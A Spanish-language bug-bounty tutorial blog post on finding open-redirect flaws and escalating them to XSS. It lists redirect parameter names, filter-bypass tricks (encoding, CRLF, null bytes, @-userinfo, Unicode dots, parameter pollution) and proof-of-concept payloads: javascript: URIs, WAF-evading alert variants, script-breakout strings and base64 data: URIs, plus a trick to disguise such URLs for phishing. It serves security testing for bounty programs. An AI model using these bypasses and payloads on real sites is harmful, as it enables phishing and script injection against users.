viernes, 12 de octubre de 2018

Utilizando Redireccionamientos abiertos para bug bounties

Introduccion

Esto es solo una publicacion rapida que describe algunos consejos utiles para identificar vulnerabilidades de redireccionamiento abierto y tambien como utilizarlas para crear vulnerabilidades mas graves.

A pesar de que son vulnerabilidades de bajo riesgo, todavia hay muchos programas de recompensas que dan pagos por ellos, y generalmente se pueden convertir en XSS con bastante facilidad, lo que permite un pago en practicamente todos los programas de recompensas, aqui hay algunos ejemplo de programas que pagan por redirecciones abiertas:

* Shopify: $500
* Okta: $500
* Teslamotors: $500

Los redireccionamientos abiertos (para cualquier persona que no lo sepa) son simplemente enlaces donde puede especificar un enlace a una URL remota desde una URL confiable y redirigira al usuario alli sin una advertencia, lo que puede llevar a un phishing entre otros riesgos, aqui un ejemplo:

http://www.construcciononline.com.mx/redirect.php?clasif=296&edo=&mpio=&type=8&url=arthusu.blogspot.com&path=/busca.php&id_cliente=148547

en este caso, un atacante podria redirigir desde construcciononline a arthusu.blogspot.com

* ?url=
* ?redirecturl=
* ?returnUrl=
* ?go=
* ?return=
* ?exitpage=
* ?fromUrl=
* ?fromuri=
* ?redirect_to= 

Hay muchos mas, estos son algunos ejemplos de como podemos darnos cuenta facilmente o buscar dorks sobre las redirecciones de URL.

Tecnicas de Bypass

A continuacion pasare algunos metodos de redireccion (que no sean simplemente enlaces a la URL):

* //arthusu.blogspot.com - si http: esta siendo filtrado
* https:arthusu.blogspot.com - si // se esta filtrando
* \/\/arthusu.blogspot.com/ - el navegador trata \/\/ como //
* /\/arthusu.blogspot.com - igual que arriba
* //arthusu[porcentaje00].com - nullbyte para omision del filtro, en lugar de porcentaje es % sin [] corchetes
* //arthusu%0a%0d.com - CRLF puede omitir el filtro
* http://arthusu.com@sitioaleatorio.com - redirigira a sitio aleatorio que esta despues del @ (aveces pide permiso al usuario)
* http://arthusu.blogspot.com/?x=http://sitioconfiable.com - Funciona cuando sitioconfiable.com esta en la lista blanca de sitios
* %61%72%74%68%75%73%75%2e%62%6c%6f%67%73%70%6f%74%2e%63%6f%6d - codificado en url encode
* YXJ0aHVzdS5ibG9nc3BvdC5jb20= - Codificado en base64
* arthusu。blogspot。com - Algunos navegadores como firefox soportan esta caracteristica, que normaliza la entrada lo que hace es que 。se muestre como .
* arthusu%E3%80%82blogspot%E3%80%82com - lo mismo que lo anterior pero codificado

Ademas de lo anterior, otro metodo que puede permitir el abuso de redireccionamientos abiertos es la contaminacion de parametros HTTP, por ejemplo, si la URL vulnerable es ejemplo.com/redir.php?url=http://arthusu.blogspot.com pero no redirige luego podria intentar llamar al mismo parametro GET dos veces, por ejemplo, ejemplo.com/redir.php?url=http://arthusu.blogpost.com&url=http://arthusu.blogspot.com/
Tambien he visto redireccionamientos en los que la redireccion a una URL no es permitido, pero la direccion a la IP directa funciona bien.

Convirtiendo redirecciones en XSS

Ahora, una redireccion es buena pero lo ideal es que quieras apuntar a falsificacion de contenido o XSS (tambien se puede con SSRF, pero se vera en otra publicacion) para aumentar tu pago. A continuacion detallare algunos metodos para hacerlo..

Aqui esta el mas obvio, redireccionamiento directo a js:// URI Schema

javascript:alert(1337)

alert.call tambien se puede utilizar:

javascript:alert.call(this.%20document.domain)

por supuesto, si se filtra la alerta, puede intentar usar 'prompt', 'confirm',etc

Si el parentesis activa WAF, puede usar:

javascript:confirm`1337`

Para acceder al document.domain, document.cookie,etc. A traves de cadenas de plantillas, puede utilizar uno de los dos metodos, este primero es el mas elegante:

javascript:prompt`${document.domain}`

Si el metodo anterior no funciona por algun motivo, esto tambien se puede lograr a traves de setInterval:

setInterval`alert\%0A28document.domain\%0A29`

CRLF puede utilizar para eludir el WAF:

javascr%0a%0dipt%0a%0d:alert`1337`

Si la URL suministrada se refleja en el codigo de la pagina dentro del contexto de una etiqueta de script (por ejemplo, se carga dentro de una etiqueta script y con el valor document.location) entonces puede usar el siguiente payload para romper la etiqueta de secuencia de comandos y activar una alerta:

";alert(0);//

Tambien he encontrado que un payload que funciona comunmente con parametros relacionados con la redireccion es el siguiente:

'-confirm(0)-'

o

"-confirm(0)-"

Si ninguno de los metodos anteriores funciona e intenta redirigir a js:// URI esta generando un error de contenido dañado o HTTP 500, entonces puede intentr redirigir a una URI data:// como:

data:text/html,<script>alert(1337)</script>

Si las etiquetas HTML estan activando una respuesta WAF, tambien puede codificar en base64 la entrada para la URI asi:

data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg==

Ahora debe tener en cuenta que el metodo anterior que usa data:// tecnicamente no es un XSS (ya que el script se carga en un contexto nulo en lugar del contexto del sitio destino) todavia se puede usr para el phishing, entre otras cosas, y representa mas de un riesgo que un redireccionamiento abierto regular (aunque un menor riesgo que XSS), tambien debe tener en cuenta que si se agrega el relleno al URI, puede hacer que el navegador muestre data:// o incluso una barra de direcciones en blanco, que parece sospechoso que un monton de entradas codificadas en base64. Con algunos trucos adicionales, tambien puede hacer que parezca que muestra la URL de origen valida (por ejemplo, http://ejemplo.com/data:text/html;base64,blahblahblah) que puede engañar facilmente al usuario habitual de una computadora.


Espero que hayan aprendido una o dos cosas de esto.

No hay comentarios:

Publicar un comentario